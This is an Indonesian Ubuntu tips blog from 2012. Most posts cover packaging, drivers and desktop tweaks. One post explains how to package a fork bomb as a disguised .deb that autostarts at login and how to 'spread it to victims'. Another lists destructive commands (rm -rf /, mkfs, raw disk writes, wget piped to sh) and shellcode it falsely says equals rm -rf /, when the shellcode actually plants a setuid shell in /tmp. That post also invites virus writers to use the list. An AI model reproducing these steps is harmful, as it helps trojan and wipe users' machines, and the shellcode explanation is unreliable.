Friday, 14 December 2012

Membuat Paket .DEB Paling Mudah


Aplikasi ini hanya untuk membantu para pengguna yang ingin mengembangkan Ubuntu agar memudahkan dalam pembuatan Paket Debian. Mungkin pengguna banyak yang lebih suka menggunakan terminal dalam membuat suatu paket. Hanya dengan baris perintah 

"sudo dpkg-deb --build nama_folder" 

maka paket telah selesai dibuat. Namun penulis berpikir untuk mempermudah pengguna dengan 1 kali klik saja dalam membuat suatu paket. Jadi penulis membuat program tersebut walau sederhana. Sebelumnya para pengguna yang ingin mengembangkan atau membuat paket debian secara simpel dan mudah, bisa mempelajari Link Ini .

Untuk aplikasinya penulis sudah mempaketkan ke- .zip beserta README dan contoh folder yang akan dipaketkan. Pengguna bisa mendownload Disini.

Selamat mencoba. :)

Wednesday, 12 December 2012

[UPDATE] Memperbaiki VGA Ubuntu AMD HD Radeon 6xxx [Ubuntu 12.04]


Seperti yang penulis ketahui, AMD HD Radeon 6xxx, memiliki berbagai masalah pada Ubuntu 12.04 menggunakan kernel 3.2.0.  Mulai dari ketidak cocokan dengan xserver yang mengakibatkan User tidak bisa masuk ke X, plymouth yang tidak berfungsi, hingga suspend pada laptop tidak bekerja.

Solusi untuk itu penulis temukan solusinya dengan cara meng-upgrade kernel dan menginstall driver terbaru. Sebaiknya ikuti petunjuk berikut:

Saturday, 13 October 2012

Memilih Distro Linux untuk User Biasa (End User)

Menurut pengalaman penulis di beberapa forum, ada beberapa pengguna komputer pemula yang jika menginstall Linux, ujung2 nya pasti memilih yang lebih susah dimengerti, Misal Distribusi Backtrack, Slackware, atau Arch, dan akhirnya mereka sendiri kelabakan dan bingung dengan distribusi miliknya sendiri, dan paling parah mereka gak bisa login atau lupa password sendiri. Penulis bukan melarang, tapi coba kita ketahui diri kita dahulu.

Apakah kita pengguna biasa (End User) , atau memang benar - benar terjun ke dunia perkomputeran, misal: programmer/system administrator? Lalu distro apa yang akan kita pakai?

Jawabannya ada 2:
  1. Jika anda pengguna komputer yang sudah merasa expert dalam bidangnya silahkan gunakan yang lebih tinggi tingkat pemakaiannya, sesuai dengan profesi anda.
  2. Jikalau anda pengguna komputer biasa atau rumahan, cobalah untuk tidak "menantang" suatu system operasi ataupun distribusi yang anda akan pakai, jikalau otak anda belum mampu menampung nya.
Sebagai pengguna biasa, penulis akan memberikan beberapa tips memilih Distribusi apa yang cocok untuk pengguna biasa. Mari kita simak:

Friday, 12 October 2012

Mengenali Penyebaran Virus di komputer Windows



Kita tahu bahwa komputer ber-sistem operasikan Windows sangat rentan terhadap virus. Meskipun kita berpindah ke sistem operasi lain, belum menjamin bahwa kita bebas dari namanya Virus. Untuk mengenali bagaimana virus tersebut menyebar penulis akan memaparkankannya sebagai berikut.

Wednesday, 10 October 2012

Cara Simpel Memaketkan Aplikasi Dalam Bentuk .DEB




Penulis mencoba menjelaskan se- simple mungkin, bagaimana cara memaketkan aplikasi dalam bentuk .deb. Ditujukan bagi programmer pemula yang terjun ke pengembangan aplikasi untuk distro Ubuntu dan turunannya. Penulis akan memberikan sampel programnya. (sebelumnya install paket dengan mengetikkan "sudo apt-get install dpkg-dev".

Silahkan diperhatikan langkah - langkahnya:

Tuesday, 11 September 2012

Install Lubuntu Software Center [LSC] di Ubuntu


Lubuntu Software Center [LSC] adalah Software Center dari salah satu distro turunan Ubuntu, yaitu Lubuntu. Lubuntu Software Center mempunyai kelebihan seperti: Ringan ,mempunyai antarmuka yang mudah, dan pengguna bisa mendownload lebih dari 1 software dalam satu waktu. Lubuntu Software Center ini tidak menghabiskan resource yang besar, dan Lubuntu Software Center mempunyai fasilitas Apps Basket yang fungsinya sama seperti keranjang, berguna untuk mendownload lebih dari satu software. Berikut penggunaan Lubuntu Software Center:


Thunar, File Manager Ringan untuk Ubuntu


Siapa yang tidak tahu Nautilus? Nautilus adalah File Manager default bawaan Ubuntu. Namun bagi penulis Nautilus masih terlalu berat untuk diakses. Ada alternatif jika anda ingin menambahkan File Manager untuk Ubuntu, salah satunya Thunar. Thunar adalah File Manager bawaan Xubuntu yang menggunakan XFCE sebagai Desktop Environmentnya. Thunar sangat responsif dan tidak terlalu memakan memory. Jika ingin menginstall Thunar File Manager cukup ketikkan:

sudo apt-get install thunar

Ini hasil used resource antara Thunar dan Nautilus:



Monday, 10 September 2012

Ganti Background Utama Lightdm Ubuntu 12.04


Ngomong-ngomong soal Ubuntu 12.04, saya penasaran dengan background Lightdmnya. Pertamanya sih dia otomatis mengganti bakgroundnya kalau kita sudah ganti wallpaper di desktop. Tapi saya iseng ingin mengubah gambar aslinya yang seperti ini

Pasang Unity 2D di Gnome Classic [Ubuntu 12.04]


Anda suka Unity tapi tidak suka dengan Panel yang itu -itu saja. Coba anda gabungkan Gnome Classic dengan Unity 2D. Dan hasilnya seperti ini .



Edit BURG List di Ubuntu.


Dalam keadaan default, Burg otomatis mendeteksi “recovery mode” dan “kernel list” di list nya sehingga kurang sedap dimata. Jika ingin mengurangi list tersebut seprti gambar diatas. Ikuti saja langkah mudahnya di bawah ini:

Langkah-langkah Install Kernel Ubuntu via PPA


Penulis membuat artikel ini untuk mempermudah penginstallan kernel Ubuntu yang stable. Beberapa masalah yang kadang ditimbulkan oleh kernel yang lama bisa diatasi dengan menggunakan kernel versi terbaru. Keuntungan lainnya dari menginstall kernel terbaru ini adalah biasanya mempercepat waktu booting dan hal-hal yang mana kernel lama tidak bisacompatible dengan hardware yang dipakai, bisa dideteksi dengan kernel baru, misal Driver VGA atau Wifi.

Berikut beberapa langkah yang harus anda lakukan adalah sebagai berikut

Membuat Virus di Ubuntu


Haloowww, setelah baca – baca artikel mengenai forkbomb command di linux, sebuah kesimpulan bahwa: ADA VIRUS YANG BISA MENULARI LINUX!
 Dan yang lucunya virus tersebut hanya  menggunakan 13 character (termasuk spasi) dalam source code nya.Sebenarnya ini adalah trik untuk meng-overloaded secara rekursif di mesin Linux, jadi biasanya Linux yang terserang “flu” ini akan hang, freeze, beku atau apalah yang menyebabkan Linux menjadi tidak bisa bergerak sama sekali.Pada awalnya ini bukan virus tetapi kalau boleh dibilang itu  hanya “seutas” command tapi sangat beresiko membuat hang komputer Linux.Ini baris perintah nya berjumlah 13 karakter termasuk spasi.:
 “:(){  : | : &  };:”    Tanpa tanda petik

Explaining:
[ :() ] = /*The name of the function is : */
{  ] = /* Start of function block */
: | : &  ] = /* Call ‘:’ function and pipe it to another ‘:’ function. Also put the process to background using the ‘&’ */
[  };  ] = /* End of function block */
: ] =  /* Execute the ‘:’ function */


1.) Pertanyaannya:
Lah apanya yang virus? Itu kan sama aja seperti bunuh diri. Lagian perintah tersebut tidak otomatis kan menginfeksi kecuali kalau kita yang memerintahkannya?

Jawaban:
Eit siapa bilang? Bagaimana jika ikuti langkah seperti ini:

1.) Buatlah script bash seperti dibawah ini dan beri nama myapp. Lalu ubah permissionnya menjad “Read and Write” &i “Allow to execute”

#!/bin/bash
:(){ : | : &};:

Taraaaa! dah jadi khan?
2.) Pertanyaan:
 File tersebut kan bisa saja mencurigakan? Bagaimana meyakinkan pengguna kalau itu program aman? Lagian itu kan hanya mentahnya saja?

Jawaban:
  Coba kita memutar otak sedikit. Ikuti cara ini.
(Khusus pengguna Ubuntu)
1.) Siapkan virusnya,

2.) Buat launcher menggunakan gedit seperti di bawah ini:

[Desktop Entry]
Version=1.0
Type=Application
Terminal=false
Exec=/usr/bin/myapp
Name=myapp


dan save dengan nama myapp.desktop

3.) Lalu buat paket seperti contoh link ini http://berkarya.16mb.com/2012/07/cara-simple-memaketkan-programaplikasi-dalam-bentuk-deb-di-ubuntu


4.) Pelajari baik2 mengenai file system Linux Ubuntu, kalo ingin virus tersebut jalan secara otomatis setelah reboot, asumsi direktori saat membuat paket debian adalah  buat folder etc, didalam etc buat xdg, didalam xdg buat autostart, lalu copy paste myapp.desktop tadi ke dalam folder autostart ini. Agar nantinya ketika paket .deb terinstall maka myapp.desktop bisa terpasang sebagai autostart (kalau di windows namanya autorun)

5.)Ingat semua bahan tadi rubah permissionnya menjadi “Read and write”

6.) Sebarkan ke calon korban.

3.) Pertanyaan
Lalu bagaimana cara mengatasinya?

Jawaban:
Cara mengatasinya sebenarnya gampang kalau pengguna menguasai terminal.Masalahnya ada 2 tipe pengguna komputer di dunia ini.
1.) User
2.) Maintainer

Kalau maintainer, paling gampang adalah masuk melalui console. Jadi saat login tekan ctrl+alt+f1.Login lalu hapus installannya sudo apt-get remove nama_paket,

Kalau user, silahkan tanya maintainer seperti di atas.

Jadi kesimpulannya adalah Linux memang aman jikalau mendownload aplikasi resmi dari software center ataupun dari ppa. Tetapi kalau anda mendownload dari luar situ. Siap2 ancaman virus ini akan mengontaminasi komputer Linux anda.
Bahkan di Android pun sudah terkenal dengan banyaknya malware.

Saya bukannya sembrono menginformasikan hal ini tapi saya akan buktikan dengan screenshoot di bawah ini. Sembari membuat catatan ini selama itulah Ubuntu saya tetap dalam posisi seperti ini ^_^

Mohon maaf kalau menyebarkan keburukan, tapi dari keburukanlah kita bisa belajar bagaimana menjadi baik. :)

Membuat Ubuntu lebih Aman


Saya jelaskan kenapa ini sangat penting, karena hal yang sering dikeluhkan teman – teman saya saat oprek desktop atau install driver vga lalu tidak bisa masuk login, sangat “menggugah hati” untuk menemukan jawabannya. Dimulai dari merusak sistem sendiri, lalu saya sampai putus asa menemukan solusinya, sampai akhirnya saya menemukan teknik  jitu yaitu membuat user baru.
Intinya sebelum berbuat kita harus melakukan pencegahan sedini mungkin untuk menghindari hal-hal yang tidak-tidak, MESKIPUN tidak sepenuhnya safety.  Langkah-langkahnya bisa diikuti dibawah ini.

1.) Membuat User Root.
Cara ini untuk mendapatkan hak administrator jikalau salah satu user mengalami crash atau error.
ketik di terminal:
sudo passwd root
Perintah diatas adalah untuk membuat password user root.
lalu ketik:
sudo sh -c ‘echo “greeter-show-manual-login=true” >> /etc/lightdm/lightdm.conf
Perintah diatas untuk menampilkan manual login di lightdm.
Sesudah itu coba logout systemnya, dan cek apakah user root aktif.


Seperti gambar diatas masukkan username lalu password jika sudah aktif silahkan logout dan login kembali. Cara ini saya dapatkan dari website ini http://www.liberiangeek.net/2012/05/login-as-root-in-ubuntu-12-04-precise-pangolin/

2.) Membuat 2 Buah User Account.
Buat account baru dengan level Administrator dan rubah account utama anda menjadi Standard. Caranya:

Pilih System Settings > User Accounts
Klik Unlock, lalu buat account sesuai contoh diatas. Kalo gak bisa bikin, comment aja dibawah. Saya capek ngetik nih :D

3.) Selalu gunakan User Account Standard 
Ketika kita melakukan pengkonfigurasian desktop dengan hak akses root, imbasnya mesti ke User Account yang sedang kita pakai. Karena itu saya membuat 2 lapis user dengan Administrator sebagai User Account penting sebagai troubleshooter. Pengalaman ketika User Account saya tidak bisa login, dan akhirnya saya membuat User Account baru hingga bisa masuk ke Systemnya, akhirnya saya buat langkah pencegahan ini.
Jika kita mengalami masalah di desktop kita, anda bisa menghapus User Account Standard kita dengan login ke User Account Administrator. Ikuti langkah di nomor 2, klik tombol “-” untuk meremove User Account Standard dan buat akun standard lain. Dan apabila anda tidak berkenan menghapus file2 di dalam User Account Standard lama anda, bisa pilih opsi “keep files” dan lihat di direktori /home, apakah ada atau anda file User Account Standard lama anda. :)
Karena menggunakan Standard Users, jadi hak akses juga banya dibatasi termasuk sudo. :) Oleh karena itu, untuk hak akses root, jangan menggunakan Sudo melainkan “su”
ketik diterminal:
su
lalu masukkan password User Account Root. Bukan password standard.

Beberapa Command Linux yang berbahaya untuk Linux


1. Perintah pertama:

rm -rf /

Perintah ini akan menghapus semua file dan folder yang sedang di-mount ke sistem. Semua data di komputer akan hilang dengan menjalankan perintah ini.



2. Perintah kedua:
char esp[] __attribute__ ((section(“.text”))) /* e.s.p
release */
= “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68″
“\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99″
“\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7″
“\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56″
“\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31″
“\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69″
“\x6e\x2f\x73\x68\x00\x2d\x63\x00″
“cp -p /bin/sh /tmp/.beyond; chmod 4755/tmp/.beyond;”;
Perintah ini adalah bentuk hexadecimal dari perintah “rm -rf /” dan akan membawa akibat yang sama.


3. Perintah ketiga:
mkfs.ext3 /dev/sda
Perintah ini akan memformat hard-disk /dev/sda.

4. Perintah keempat:

:(){:|:&};:   
Perintah ini akan membuat sistem menjalankan banyak sekali proses dan membuat komputer menjadi hang.

5. Perintah kelima:
perintah_apapun > /dev/sda
Perintah ini akan menuliskan data mentah (baca: raw data) yang menyebabkan seluruh partisi dan file pada /dev/sda akan ditimpa dengan data mentah tadi.

6. Perintah keenam:
wget http://sumber_tak_terpercaya -O- | sh
Jangan pernah men-download file dari sumber yang tidak terpercaya, dan kemudian menjalankannya di komputer.

7. Perintah ketujuh:
mv /home/direktorihome/* /dev/null

Perintah ini akan memindahkan home directory ke suatu tempat yang sebenarnya tidak ada, atau dengan kata lain, perintah ini akan menghilangkan semua data di folder “Home”.
======================================================================================

Mungkin bagi pengembang virus, bisa mengimplementasikannya, dan semoga membuat developer2 lain cepat tanggap untuk mendapatkan solusi. :)

Tentang Penulis

Penulis biasanya menghabiskan waktu untuk bermain dan bermain. Dan pada akhirnya penulis terpaksa bermain dengan belajar.